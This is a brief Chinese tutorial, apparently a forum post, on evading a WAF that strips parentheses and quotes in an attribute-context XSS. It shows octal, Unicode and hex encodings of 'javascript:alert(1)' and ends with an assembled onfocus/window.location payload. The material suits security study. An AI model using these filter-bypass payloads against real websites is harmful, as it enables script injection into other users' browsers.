1、话不多说,XSS中输入参数会输入到右边的 XXX中, <input name=t00ls value=”XXX“ />
2、那个 XXX 过滤了 圆括号,单引号,比如,我在参数里面输入:" autofocus onfocus=alert(1) a=" (算上双引号),这样肯定就被重定向到一个错误的页面了,因为过滤了圆括号。
3、那么我们思考下,bypass这些WAF,应该怎么做,首先丢弃圆括号,那必须要通过编码,八进制,十六进制,unicode转义等等。那么在什么情况下才能利用这些转义呢?在现在这种情况下,应该是要把这些放在双引号内才可以。
4、那下面,我们可以利用形如 javascript:alert(1) 这种伪协议了。把它编码下变成
\152\141\166\141\163\143\162\151\160\164\072\141\154\145\162\164\050\061\051 这种形式 (个人喜欢这种)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029 这种形式
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x31\x29 这种形式
5、下面我们需要一个重定向到这种伪网址,那么我们毫不犹豫的选择了 window["location"] 或者 window.location
6、这个时候,我们把他们拼凑下:
" autofocus onfocus=window.location="\152\141\166\141\163\143\162\151\160\164\072\141\154\145\162\164\050\061\051" a="